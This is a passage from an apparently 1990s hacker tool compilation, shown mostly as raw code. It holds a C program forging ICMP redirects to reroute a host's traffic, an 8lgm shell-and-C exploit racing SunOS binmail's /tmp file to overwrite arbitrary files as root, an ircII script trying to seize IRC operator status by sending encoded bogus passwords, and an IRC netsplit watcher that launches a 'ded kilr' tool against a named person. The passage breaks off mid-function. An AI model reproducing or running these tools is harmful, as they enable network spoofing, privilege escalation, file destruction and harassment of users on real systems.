  852.   struct sockaddr_in *saddr;
  853. {
  854.   struct hostent *h=gethostbyname(host);
  855.  
  856.   bzero(saddr,sizeof(struct sockaddr));
  857.   saddr->sin_family=AF_INET;
  858.   if (h!=NULL)
  859.   {
  860.     saddr->sin_family=h->h_addrtype;
  861.     bcopy(h->h_addr,(caddr_t)&saddr->sin_addr,h->h_length);
  862.     return(0);
  863.   }
  864.   else
  865.   {
  866.     fprintf(stderr,"juju-router: unknown host ``%s''\n",host);
  867.     return(-1);
  868.   }
  869.   return(0);
  870. }
  871.  
  872. in_cksum(addr,len)
  873.   u_short *addr;
  874.   int len;
  875. {
  876.   register int nleft = len;
  877.   register u_short *w = addr;
  878.   register int sum = 0;
  879.   u_short answer = 0;
  880.  
  881.   /* This function was taking from existing ICMP nuke code and
  882.      was presumably originally stripped from a ``ping.c'' implementation.
  883.   */
  884.  
  885.   while( nleft > 1 )
  886.   {
  887.     sum+=*w++;
  888.     nleft-=2l;
  889.   }
  890.   if( nleft == 1 )
  891.   {
  892.     *(u_char *)(&answer) = *(u_char *)w;
  893.     sum+=answer;
  894.   }
  895.   sum=(sum>>16)+(sum& 0xffff);
  896.   sum+=(sum>>16);
  897.   answer=~sum;
  898.   return(answer);
  899. }
  900.  
  901. int
  902. icmp_reroute(host,uhost,port,code)
  903.   char *host, *uhost;
  904.   int code, port;
  905. {
  906.   struct sockaddr_in       name;
  907.   struct sockaddr          dest,    uspoof;
  908.   struct icmp              *mp;
  909.   struct tcphdr            *tp;
  910.   struct protoent          *proto;
  911.  
  912.   int    i, s, rc;
  913.   char   *buf=(char *) malloc(sizeof(struct icmp)+64);
  914.  
  915.   mp=(struct icmp *) buf;
  916.  
  917.   if (resolver(host,&dest)<0) return(-1);
  918.   if (resolver(uhost,&uspoof)<0) return(-1);
  919.  
  920.   if ((proto=getprotobyname("icmp")==NULL))
  921.   {
  922.     fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n");
  923.     return(-1);
  924.   }
  925.   
  926.   if ((s=socket(AF_INET,SOCK_RAW,proto->p_proto))<0) 
  927.   {
  928.     perror("opening raw socket");
  929.     return(-1);
  930.   }
  931.   name.sin_family=AF_INET;
  932.   name.sin_addr.s_addr=INADDR_ANY;
  933.   name.sin_port=htons(port);
  934.  
  935.   if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==-1)
  936.   {
  937.     fprintf(stderr,"fatal; error binding sockets\n");
  938.     return(-1);
  939.   }
  940.  
  941.   if ((proto=getprotobyname("tcp")==NULL))
  942.   {
  943.     fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n");
  944.     return(-1);
  945.   }
  946.  
  947.   bzero(mp,sizeof(struct icmp)+64);
  948.   mp->icmp_type         = ICMP_REDIRECT;
  949.   mp->icmp_code         = code;
  950.   mp->icmp_ip.ip_v      = IPVERSION;
  951.   mp->icmp_ip.ip_hl     = 5;
  952.   mp->icmp_ip.ip_len    = htons(sizeof(struct ip)+64+20);
  953.   mp->icmp_ip.ip_p      = IPPROTO_TCP;
  954.   mp->icmp_ip.ip_src    = ((struct sockaddr_in *)&dest)->sin_addr;
  955.   mp->icmp_ip.ip_dst    = ((struct sockaddr_in *)&dest)->sin_addr;
  956.   mp->icmp_gwaddr       = ((struct sockaddr_in *)&uspoof)->sin_addr;
  957.   mp->icmp_ip.ip_ttl    = 150;
  958.   mp->icmp_cksum        = 0;
  959.   tp=(struct tcphdr *)((char *)&mp->icmp_ip+sizeof(struct ip));
  960.   tp->th_sport          = 23;
  961.   tp->th_dport          = htons(1499);
  962.   tp->th_seq            = htonl(0x275624F2);
  963.   mp->icmp_cksum        = htons(in_cksum(mp,sizeof(struct icmp)+64));
  964.  
  965.   if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0)
  966.   {
  967.     fprintf(stderr,"fatal; error sending forged packet\n");
  968.     return(-1);
  969.   }
  970.   return(0);
  971. }
  972.  
  973. void
  974. main(argc,argv)
  975.   int argc;
  976.   char **argv;
  977. {
  978.   int i, code;
  979.  
  980.   if ((argc<4) || (argc>5))
  981.   {
  982.     fprintf(stderr,"usage: juju-router target new-destination port code\n");
  983.     fprintf(stderr,"codes: 0 _REDIRECT_NET    1 _REDIRECT_HOST (default)\n");
  984.     fprintf(stderr,"       2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n");  
  985.     exit(1);
  986.   }
  987.  
  988.   printf("juju-router: rerouting dynamically....");
  989.   if (code!=0 && code!=1 && code!=2 && code!=3) code=0;
  990.   if (icmp_reroute(argv[1],argv[2],argv[3],code)<0)
  991.   {
  992.     printf("failed.\n");
  993.     exit(1);
  994.   }
  995.   printf("succeeded.\n");
  996.   exit(0);
  997. }
  998.  
  999. ------------------------------------------------------------------------------
  1000.  
  1001. #!/bin/sh
  1002. # tmpmail: overwrite files using binmail
  1003. #
  1004. # Usage: tmpmail to-file
  1005. #
  1006. # (c) [8lgm] 1994, tested under SunOS 4.1.2.
  1007. #
  1008. #
  1009. # Note: Script only works if mail is suid root.
  1010. #       Other vendors may use tmpnam("ma").
  1011. #
  1012. # This vulnerability can be exploited for sgid
  1013. # mail binmails, the only modification would
  1014. # be to predict the pid of the mail process
  1015. # created by sendmail.  This would be 4 forward
  1016. # of the current pid - assuming a 'quiet' system.
  1017. #
  1018. # Will create to-file, or truncate.
  1019.  
  1020. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  1021. IFS=" "                          export IFS
  1022.  
  1023. PROG="`basename $0`"
  1024.  
  1025. # Check args
  1026. if [ $# -ne 1 ]; then
  1027.         echo "Syntax: $PROG to-file"
  1028.         exit 1
  1029. fi
  1030.  
  1031. TO_FILE="$1"
  1032.  
  1033. # Check we're on SunOS
  1034. if [ "x`uname -s`" != "xSunOS" ]; then
  1035.         echo "Sorry, this only works on SunOS"
  1036.         exit 1
  1037. fi
  1038.  
  1039. # Create our racing program!
  1040.  
  1041. cat > mailrace.c << 'EOF'
  1042. #include <stdio.h>
  1043. #include <unistd.h>
  1044.  
  1045. char path[] = "/tmp/maaXXXX";
  1046.  
  1047. main(argc,argv)
  1048. int argc;
  1049. char **argv;
  1050. {
  1051.   int pid;
  1052.   char *trv;
  1053.  
  1054.   if (argc != 3) {
  1055.     fprintf(stderr, "Usage: %s pid tofile\n", argv[0]);
  1056.     exit(1);
  1057.   }
  1058.  
  1059.   pid = atoi(argv[1]);
  1060.  
  1061. /* Stolen from mktemp.c */
  1062.   for (trv = path; *trv; ++trv);          /* extra X's get set to 0's */
  1063.   while (*--trv == 'X') {
  1064.     *trv = (pid % 10) + '0';
  1065.     pid /= 10;
  1066.   }
  1067.  
  1068.   symlink("/tmp/ShortSong", path);
  1069.   while(symlink(argv[2], path));
  1070.   exit(0);
  1071. }
  1072. EOF
  1073. cc -o mailrace mailrace.c
  1074.  
  1075. # Check we now have mailrace
  1076. if [ ! -x "mailrace" ]; then
  1077.         echo "$PROG: couldnt compile mailrace.c - check it out"
  1078.         exit 1
  1079. fi
  1080.  
  1081. # create some input for binmail
  1082. echo localhost $USER > /tmp/BlueRoom.$$
  1083. ./mailrace $$ $TO_FILE &
  1084. exec /bin/mail -d $LOGNAME < /tmp/BlueRoom.$$
  1085.  
  1086. ------------------------------------------------------------------------------
  1087. ###############################################################################
  1088.  
  1089. #  #  ##   ### #  #  ##  ###          Attempts to hack  IRC  operator status by 
  1090. #  # #  # #    # #  #  # #  #         flooding the  server with bogus passwords 
  1091. #### #### #    ##   #  # #  #         of various lengths.  Works on all servers
  1092. #  # #  # #    # #  #  # ###          I've tested so far..
  1093. #  # #  #  ### #  #  ##  #  v1.3+path                             - Illegible 8
  1094.  
  1095. ###############################################################################
  1096. set NOVICE off
  1097.  
  1098. # #
  1099. ###  Bogus passwords.. don't change these.  Other passwords don't work. (?)
  1100. # #
  1101. @ HackOP.A = [EACAGCGPGGGICADNCAFLGJGMGMGFGHGJGCGMDIFN]
  1102. @ HackOP.B = [FOGPGOCAFOGNGPGEGFCACCCFCACFCACLHHHDCCCAGFGDGIGPCACKCKCKCAENGPGEGFCAGDGIGBGOGHGFCACCCLGPHDHHCCCAGGGPHCCAHFHDGFHCCACEEOCAGCHJCACEEODLHDGFHECAFDFEEBFEFFFDFPFFENEPEEEFCACACICLGPCFCDCJ]
  1103. @ HackOP.C = [FOGPGOCACDCNHDGFGOGEFPGNHDGHCADBCACKCAHLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICACEEOCACNDOCACKCEDACKCACEDBCNHN]
  1104. @ HackOP.D = [GNGPGEGFCAEKHFGHGHGMGFHCCACLHDHH]
  1105. @ HackOP.E = [GFGDGIGPCACKCKCKCAFJGPHFCAGBHCGFCAGOGPHHCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHC]
  1106. @ HackOP.F = [FOGPGOCAGNGPGEGFCACNCCCFCACFCACLHHHDCC]
  1107. @ HackOP.G = [FOGPGOCACDCNHCGBHHFPGJHCGDCADACACCCFCADDDBDCCACKCCCAHLGJGGCACIFLCEDDFNDNDNFLCEEOFNCJCAHLHEGJGNGFHCCADACAGFGDGIGPCACKCKCKCACEDDCAGJHDCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHCHNHN]
  1108. @ HackOP.H = [EACAFDFEEBFEFFFDFPFFENEPEEEFCADNCAFLCAFMCICLGPCFCDFMCJFN]
  1109. @ HackOP.I = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFACACKCCCAHLEACAGCGPGGGICADNCAFLCEDAFNDLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICAEIGPCAGIGPCAGIGPCBHN]
  1110. @ HackOP.J = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFHCACKCCCAHLGJGGCACIFLCEDAFNDNDNFLCEGCGPGGGIFNCJCAHLCEDDCNDLCPCPFOGOGPHEGJGDGFCACEDACAGEGPGJGOGHDKCACEDDCNHNHN]
  1111. @ HackOP.K = [FOGBGMGJGBHDCAGLGJGMGMCAGJGGCACIFLCEDAFNCJCAHLCPCPFOHDGJGHGOGPGGGGCAELGJGMGMCAGGHCGPGNCACEEOCAFMCICEDACNFMCJHNHLCPCPELEJEMEMHN]
  1112. @ HackOP.L = [FOGPGOCACDFOHCGBHHFPGJHCGDCADACACCCFCADEDADBCACFCACFCADKEOGPCKCCCAHLGJGGCACIFLCEDDFNCBDNFLCEGCGPGGGIFNCJCAHLGFGDGIGPCACKCKCKCACEHDHEHCGJHACIDKCACEDDCNCJHNHLEACAGCGPGGGICADNCAFLDNDAFNHNHN]
  1113. @ HackOP.M = [GFHGGBGMCACPCPFOGOGPHEGJGDGFCACEGCGPGGGICAFCHFGOGOGJGOGHCAEIGBGDGLEPFACACNCACEHEGJGNGFCICJ]
  1114. @ HackOP.N = [FOGBGMGJGBHDCAHDHBHFGJHECAHLCPCPFOHDGJGHGOGPGGGGCACPHDHBHFGJHECACEDACNHN]
  1115. @ HackOP.O = [FOGBGMGJGBHDCAGDGPGOGOGFGDHECAGJGGCACIFLCEDAFNCJCAHLHNHLHNDLGFGDGIGPCACKCKCKCAEDEPEOEOEFEDFECAEOGPHECAGFGOGPHFGHGICAHAGBHCGBGNGFHEGFHCHD]
  1116. @ HackOP.P = [FOHDGFHECAGFHIGFGDFPHAHCGPHEGFGDHEGJGPGOCAGPGGGG]
  1117. @ HackOP.Q = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEJHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1118. @ HackOP.R = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEKHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1119. @ HackOP.S = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAEACAGCGPGGGICADNCAFLCEGCGPGGGIFNCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1120. @ HackOP.Z = [FOGBGMGJGBHDCACNHBHFGPHEGF]
  1121.  
  1122. # #
  1123. ###  Ignore failed hack attempts..
  1124. # #
  1125. on #^raw_irc "% 491 *No O-lines*" #
  1126.  
  1127. # #
  1128. ###  Poke server (causes a "POKE : unknown command" reply)
  1129. # #
  1130. @ hackop.poke.junk = [FOGBGMGJGBHDCAHBHFGPHEGFCAHLCEGEGFGDGPGEGFCICEDCCNCJHN]
  1131. alias hackop.poke {
  1132.     quote POKE \\;$decode($hackop.poke.junk)
  1133.     wait
  1134. }
  1135.  
  1136. # #
  1137. ###  Send bogus passwords..
  1138. # #
  1139. alias hackop.hack {
  1140.     foreach HackOP XX {
  1141.         if ([$(HackOP.$XX)]!=[]) {quote OPER $N $(HackOP.$XX)}
  1142.         wait
  1143.     }
  1144. }
  1145.  
  1146. # #
  1147. ###  Attempt to hack ops..
  1148. # #
  1149. alias hackop {
  1150.     umode -sw
  1151.     echo [HackOP] Poking server.. (should reply with error message)
  1152.     hackop.poke
  1153.     echo [HackOP] Attempting to hack IrcOps..
  1154.     hackop.hack
  1155. }
  1156.  
  1157. # #
  1158. ###  Help..
  1159. # #
  1160. alias hackhelp {
  1161.     echo
  1162.     echo [HackOP] You have loaded HackOP.irc v1.3+path from Illegible 8.
  1163.     echo [HackOP]
  1164.     echo [HackOP] This script attempts to hack IRC Operator status on
  1165.     echo [HackOP] your current server.  To use it just type /hackop.
  1166.     echo [HackOP]
  1167.     echo [HackOP] Aliases added:  /hackhelp /hackop /kpath
  1168.     echo [HackOP]
  1169.     echo [HackOP] Enjoy it.. /kill your friends. 8-)
  1170.     echo
  1171. }
  1172.  
  1173. # #
  1174. ###  The following code is taken from the ircII 2.2.9 distribution...
  1175. # #
  1176.  
  1177. ###############################################################################
  1178. #
  1179. # No Kill Path Script II
  1180. #
  1181. # converted to 2.2.1 by phone
  1182. # CONVERTED for ircII2.2
  1183. # Version for servers 2.7.1* by Nap@irc <pioch@poly.polytechnique.fr>
  1184. # Original script from YeggMan
  1185. # Simplification by Daemon
  1186. # This version works both with old and new 2.7.1e kill formats !
  1187.  
  1188. @ kpath.kpath = [<empty>]
  1189. alias kpath echo ### Last received KILL Path: $kpath.kpath
  1190.  
  1191. alias kpath.ridx @ function_return = RINDEX(! $0) + 1
  1192. alias kpath.is_serv @ function_return  = INDEX(. $MID($kpath.ridx($0) 512 $0))
  1193. alias kpath.opkill echo ### KILL for $0 $MID($kpath.ridx($1) 9 $1) $2-
  1194. alias kpath.svkill echo ### ServerKill for $0
  1195.  
  1196. on ^server_notice "% * Notice -- Received KILL*" {
  1197.         if ([$9] == [From])
  1198.     {
  1199.         ^assign kpath.kpath $12-
  1200.         if (kpath.is_serv($12) > -1)
  1201.         { kpath.svkill $8 }
  1202.         { kpath.opkill $8 $10 $13- }
  1203.     }
  1204.     {
  1205.         ^assign kpath.kpath $10-
  1206.         if (kpath.is_serv($10) > -1)
  1207.         { kpath.svkill $8 }
  1208.         { kpath.opkill $8 $10 $11- }
  1209.     }
  1210. }
  1211. ###[End of stolen code]########################################################
  1212.  
  1213. # #
  1214. ###  HackOP loaded message, misc stuff.
  1215. # #
  1216. alias umode mode $N $0-
  1217. echo [HackOP] HackOP.irc v1.3+path loaded.  Type /hackhelp for help
  1218.  
  1219. ------------------------------------------------------------------------------
  1220.  
  1221. [Editor's Note:  This is used in conjunction with the next program]
  1222.  
  1223. /*=============================================================*\
  1224.  * ll.c - link looker                                          *
  1225.  * Copyright (C) 1994 by The Software System                   *
  1226.  * Written by George Shearer (george@sphinx.biosci.wayne.edu)  *
  1227. \*=============================================================*/
  1228.  
  1229. /* This program is free software; you can redistribute it and/or modify
  1230.  * it under the terms of the GNU General Public License as published by
  1231.  * the Free Software Foundation; either version 2 of the License, or
  1232.  * (at your option) any later version.
  1233.  *
  1234.  * This program is distributed in the hope that it will be useful,
  1235.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  1236.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  1237.  * GNU General Public License for more details.
  1238.  *
  1239.  * You should have received a copy of the GNU General Public License
  1240.  * along with this program; if not, write to the Free Software
  1241.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  1242.  */
  1243.  
  1244. #define BUFSIZE    400            /* IRC Server buffer */
  1245. #define SERVER    "irc.escape.com"    /* IRC Server        */
  1246. #define PORT    6667            /* IRC Port          */
  1247. #define DELAYS    30            /* Loop delay seconds*/
  1248. #define TIMEOUT    30            /* connection timeout*/
  1249.  
  1250. #define ESTABLISHED    1
  1251. #define INPROGRESS    2
  1252. #define SPLIT        1
  1253.  
  1254. unsigned short int session=0,link_count=0;
  1255. char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
  1256. char *ins=in;
  1257. char *dedprsn, *kradprsn;
  1258.  
  1259. #include <stdio.h>
  1260. #include <string.h>
  1261. #include <stdlib.h>
  1262. #include <unistd.h>
  1263. #include <sys/types.h>
  1264. #include <sys/time.h>
  1265. #include <fcntl.h>
  1266. #include <signal.h>
  1267. #include <errno.h>
  1268. #include <netinet/in.h>
  1269. #include <sys/socket.h>
  1270. #include <netdb.h>
  1271. #include <arpa/inet.h>
  1272.  
  1273. struct irc_server {
  1274.   char *name;
  1275.   char *link;
  1276.   unsigned short int status;
  1277.   struct irc_server *next;
  1278. } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;
  1279.  
  1280. void do_ping(char *,char *);
  1281. void do_001(char *,char *);
  1282. void do_error(char *,char *);
  1283. void do_364(char *,char *);
  1284. void do_365(char *,char *);
  1285.  
  1286. struct parsers {
  1287.    char *cmd;
  1288.    void (*func)(char *,char *);
  1289. } parsefuns[] = {
  1290.    { "PING", (void *)do_ping },
  1291.    { "001", (void *)do_001 },
  1292.    { "364",(void *)do_364 },
  1293.    { "365", (void *)do_365},
  1294.    { "ERROR",(void *)do_error},
  1295.    { (char *)0,(void *)0 }
  1296. };
  1297.  
  1298. struct sockaddr_in server;
  1299. int sock=0;
  1300.  
  1301. unsigned long int
  1302. resolver(char *host) {
  1303.   unsigned long int ip=0L;
  1304.  
  1305.   if(host && *host && (ip=inet_addr(host))==-1) {
  1306.     struct hostent *he;
  1307.     int x=0;
  1308.  
  1309.     while(!(he=gethostbyname((char *)host)) && x++<3) {
  1310.       printf("."); fflush(stdout);
  1311.       sleep(1);
  1312.     }
  1313.     ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L;
  1314.   }
  1315.  
  1316.   return(ip);
  1317. }
  1318.  
  1319. void
  1320. clean_sl2(void) {
  1321.   while(sl2) {
  1322.     struct irc_server *temp=sl2->next;
  1323.     if(sl2->name)
  1324.       free(sl2->name);
  1325.     if(sl2->link)
  1326.       free(sl2->link);
  1327.     free(sl2);
  1328.     sl2=temp;
  1329.   }
  1330.   sl2=(struct irc_server *)0;
  1331. }
  1332.  
  1333. void
  1334. exit_program(char *why) {
  1335.   printf("\nExiting program. (%s)\n",why);
  1336.  
  1337.   if(sock)
  1338.     close(sock);
  1339.  
  1340.   while(sl1) {
  1341.     struct irc_server *temp=sl1->next;
  1342.     if(sl1->name)
  1343.       free(sl1->name);
  1344.     if(sl1->link)
  1345.       free(sl1->link);
  1346.     free(sl1);
  1347.     sl1=temp;
  1348.   }
  1349.  
  1350.   clean_sl2();
  1351.  
  1352.   if(in)
  1353.     free(in);
  1354.  
  1355.   exit(0);
  1356. }
  1357.  
  1358. int mystrccmp(register char *s1,register char *s2) {
  1359.    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  1360.         (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  1361.      if(*s1++==0) return 0;
  1362.    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  1363. }
  1364.  
  1365. char *mstrcpy(char **to,char *from) {
  1366.   if(from) {
  1367.     if((*to=(char *)malloc(strlen(from)+1)))
  1368.       strcpy(*to,from);
  1369.   }
  1370.   else
  1371.     *to=(char *)0;
  1372.   return(*to);
  1373. }
  1374.  
  1375. char *digtoken(char **string,char *match) {
  1376.   if(string && *string && **string) {
  1377.     while(**string && strchr(match,**string))
  1378.       (*string)++;
  1379.     if(**string) { /* got something */
  1380.       char *token=*string;
  1381.       if((*string=strpbrk(*string,match))) {
  1382.         *(*string)++=(char)0;
  1383.         while(**string && strchr(match,**string))
  1384.           (*string)++;
  1385.       }
  1386.       else
  1387.         *string = ""; /* must be at the end */
  1388.       return(token);
  1389.     }
  1390.   }
  1391.   return((char *)0);
  1392. }
  1393.  
  1394. void signal_handler(void) {
  1395.   exit_program("caught signal");
  1396. }
  1397.  
  1398. void signal_alarm(void) {
  1399.   exit_program("timed out waiting for server interaction.");
  1400. }
  1401.  
  1402. void
  1403. out(void) {
  1404.   int length=strlen(out_buf);
  1405.   errno=0;
  1406.   if(write(sock,out_buf,length)!=length)
  1407.     exit_program((char *)errno);
  1408. }
  1409.  
  1410. void
  1411. init_server(void) {
  1412.   int length;
  1413.  
  1414.   sprintf(out_buf,"USER kil kil kil :ded kilr huntin %s\nNICK kil%d\nPRIVMSG %s :ded kilr hunting %s\n",
  1415.     dedprsn, getpid(), kradprsn, dedprsn);
  1416.   length=strlen(out_buf);
  1417.  
  1418.   errno=0;
  1419.  
  1420.   if(write(sock,out_buf,length)==length) {
  1421.     puts("established");
  1422.     session=ESTABLISHED;
  1423.     alarm(TIMEOUT);
  1424.     sprintf(out_buf,"LINKS\n");
  1425.     out();
  1426.   }
  1427.   else
  1428.     exit_program((char *)errno);
  1429. }
  1430.  
  1431. void
  1432. heartbeat(void) {
  1433.   strcpy(out_buf,"LINKS\n");
  1434.   out();
  1435.   signal(SIGALRM,(void *)heartbeat);
  1436.   alarm(DELAYS);
  1437. }
  1438.  
  1439. void
  1440. do_364(char *from,char *left) {
  1441.   struct irc_server *serv;
  1442.   char *sv1,*sv2;
  1443.   char *nick;
  1444.  
  1445.   serv=(struct irc_server *)malloc(sizeof(struct irc_server));
  1446.   serv->next=sl2;
  1447.  
  1448.   serv->status=0;
  1449.   nick=digtoken(&left," ");
  1450.   sv1=digtoken(&left," ");
  1451.   sv2=digtoken(&left," ");
  1452.  
  1453.   mstrcpy(&serv->name,sv1);
  1454.   mstrcpy(&serv->link,sv2);
  1455.   sl2=serv;
  1456. }
  1457.  
  1458. int
  1459. findserv(struct irc_server *serv,char *name) {
  1460.   for(;serv;serv=serv->next)
  1461.     if(!mystrccmp(name,serv->name))
  1462.       return(1);
  1463.   return(0);
  1464. }
  1465.  
  1466. void
  1467. do_365(char *from,char *left) {
  1468.   struct irc_server *serv=sl1;
  1469.   char kilstring[150];
  1470.  
  1471.   for(;serv;serv=serv->next) {
  1472.     if(!findserv(sl2,serv->name)) {
  1473.       if(!(serv->status & SPLIT)) {
  1474.         printf("Split server  : %s [%s]\n",serv->name,serv->link);
  1475.         serv->status|=SPLIT;
  1476.       }
  1477.     }
  1478.     else
  1479.       if(serv->status & SPLIT) {
  1480.         printf("Merging server: %s [%s]\n",serv->name,serv->link);
  1481.         sprintf(kilstring, "mcb %s %s:%s %s&",
  1482.           kradprsn, dedprsn, serv->name, serv->link);
  1483.         system(kilstring);
  1484.         serv->status&=~SPLIT;
  1485.       }
  1486.   }
  1487.  
  1488.   serv=sl2;
  1489.  
  1490.   for(;serv;serv=serv->next) {
  1491.     if(!findserv(sl1,serv->name)) {
  1492.       struct irc_server *serv2;
  1493.  
  1494.       serv2=(struct irc_server *)malloc(sizeof(struct irc_server));
  1495.       serv2->next=sl1;
  1496.       serv2->status=0;
  1497.       mstrcpy(&serv2->name,serv->name);
  1498.       mstrcpy(&serv2->link,serv->link);
  1499.       sl1=serv2;
  1500.       if(link_count) {
  1501.         printf("Added server  : %s [%s]\n",serv->name,serv->link);
  1502.         sprintf(kilstring, "mcb %s %s:%s %s&",
  1503.           kradprsn, dedprsn, serv->name, serv->link);
  1504.         system(kilstring);
  1505.       }
  1506.     }
  1507.   }
  1508.  
  1509.   link_count=1;
  1510.   clean_sl2();
  1511. }
  1512.  
  1513. void
  1514. do_ping(char *from,char *left) {
  1515.   sprintf(out_buf,"PING :%s\n",hostname);
  1516.   out();
  1517. }
  1518.  
  1519. void
  1520. do_001(char *from,char *left) {
  1521.   printf("Logged into server %s as nickname kil%d\n",from,getpid());
  1522.   printf("Hunting %s\n\n", dedprsn);
  1523.   alarm(0);
  1524.   signal(SIGALRM,(void *)heartbeat);
  1525.   alarm(DELAYS);
  1526. }
  1527.  
  1528. void
  1529. do_error(char *from,char *left) {
  1530.   printf("Server error: %s\n",left);
  1531. }
  1532.  
  1533. void
  1534. parse2(void) {
  1535.   char *from,*cmd,*left;
  1536.  
  1537.   if(*ins==':') {
  1538.     if(!(cmd=strchr(ins,' ')))
  1539.       return;
  1540.     *cmd++=(char)0;
  1541.     from=ins+1;
  1542.   }
  1543.   else {
  1544.     cmd=ins;
  1545.     from=(char *)0;
  1546.   }
  1547.   if((left=strchr(cmd,' '))) {
  1548.     int command;
  1549.     *left++=(char)0;
  1550.     left=(*left==':') ? left+1 : left;
  1551.     for(command=0;parsefuns[command].cmd;command++) {
  1552.       if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  1553.         parsefuns[command].func(from,left);
  1554.         break;
  1555.       }
  1556.     }
  1557.   }
  1558. }
  1559.  
  1560. void
  1561. parse(int length) {
  1562.   char *s=in;
  1563.  
  1564.   *(ins+length)=(char)0;
  1565.  
  1566.   for(;;) {
  1567.     ins=s;
  1568.     while(*s && *s!=(char)13 && *s!=(char)10)
  1569.       s++;
  1570.     if(*s) {
  1571.       while(*s && (*s==(char)13 || *s==(char)10))
  1572.         *s++=(char)0;
  1573.       parse2();
  1574.     }
  1575.     else
  1576.       break;
  1577.   }
  1578.   strcpy(in,ins);
  1579.   ins=in+(s-ins);
  1580. }
  1581.  
  1582. void
  1583. process_server(void) {
  1584.   int x=0;
  1585.  
  1586.   for(;;) {
  1587.     fd_set rd,wr;
  1588.     struct timeval timeout;
  1589.  
  1590.     timeout.tv_usec=0; timeout.tv_sec=1;
  1591.     FD_ZERO(&rd); FD_ZERO(&wr);
  1592.  
  1593.     FD_SET(sock,&rd);
  1594.     if(session==INPROGRESS)
  1595.       FD_SET(sock,&wr);
  1596.  
  1597.     errno=0;
  1598.     select(getdtablesize(),&rd,&wr,NULL,(session==INPROGRESS)
  1599.            ? (struct timeval *)&timeout : NULL);
  1600.  
  1601.     if(errno==EINTR)
  1602.       continue;
  1603.  
  1604.     errno=0;
  1605.     if(session==INPROGRESS) {
  1606.       if(FD_ISSET(sock,&wr)) {
  1607.         init_server();
  1608.          continue;
  1609.       }
  1610.       else {
  1611.         if(x++>=TIMEOUT)
  1612.           exit_program("connection timed out");
  1613.         printf("."); fflush(stdout);
  1614.       }
  1615.     }
  1616.  
  1617.     if(FD_ISSET(sock,&rd)) {
  1618.       int length=read(sock,ins,BUFSIZE-(ins-in));
  1619.  
  1620.       if(length<1) {
  1621.         if(session!=INPROGRESS)
  1622.           if(!errno) {
  1623.             puts("Connection closed by foreign host.");
  1624.             errno=ENOTCONN;
  1625.           }
  1626.           else
  1627.             printf("Connection to %s closed.\n",
  1628.                    inet_ntoa(server.sin_addr));
  1629.         exit_program((char *)errno);
  1630.       }
  1631.       if(strpbrk(in,"\x0a\x0d"))
  1632.         parse(length);
  1633.       else
  1634.         ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length;
  1635.     }
  1636.   }
  1637. }
  1638.  
  1639. void
  1640. main(int argc,char *argv[]) {
  1641.   char serverhost[80];
  1642.   unsigned short int sport=PORT;
  1643.  
  1644.   kradprsn = argv[1];
  1645.   dedprsn  = argv[2];
  1646.  
  1647.   if(argc<3)
  1648.     exit(1);
  1649.  
  1650.   if(argc==4) {
  1651.     char *port=strchr(argv[3],':');
  1652.     sport=(port)?atoi(port+1):sport;
  1653.     strcpy(serverhost,argv[3]);
  1654.     if(port)
  1655.       serverhost[port-argv[3]]=(char)0;
  1656.   }
  1657.   else
  1658.     strcpy(serverhost,SERVER);
  1659.  
  1660.   signal(SIGPIPE,(void *)signal_handler);
  1661.   signal(SIGHUP,(void *)signal_handler);
  1662.   signal(SIGINT,(void *)signal_handler);
  1663.   signal(SIGTERM,(void *)signal_handler);
  1664.   signal(SIGBUS,(void *)signal_handler);
  1665.   signal(SIGABRT,(void *)signal_handler);
  1666.   signal(SIGSEGV,(void *)signal_handler);
  1667.   signal(SIGALRM,(void *)signal_alarm);
  1668.  
  1669.   errno=0;
  1670.   if((sock=socket(AF_INET,SOCK_STREAM,0))>0) {
  1671.     server.sin_family=AF_INET;
  1672.     server.sin_port=htons(sport);
  1673.     printf("Resolving %s...",serverhost); fflush(stdout);
  1674.     if((server.sin_addr.s_addr=resolver(serverhost))) {
  1675.       puts("done");
  1676.  
  1677.       setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1678.       setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1679.       setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1680.  
  1681.       fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NONBLOCK));
  1682.  
  1683.       printf("Connecting to %s...",inet_ntoa(server.sin_addr));
  1684.       fflush(stdout);
  1685.  
  1686.       errno=0;
  1687.       if(connect(sock,(struct sockaddr *)&server,sizeof(server))) {
  1688.         if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  1689.           exit_program((char *)errno);
  1690.         else
  1691.           session=INPROGRESS;
  1692.       }
  1693.       else
  1694.         init_server();
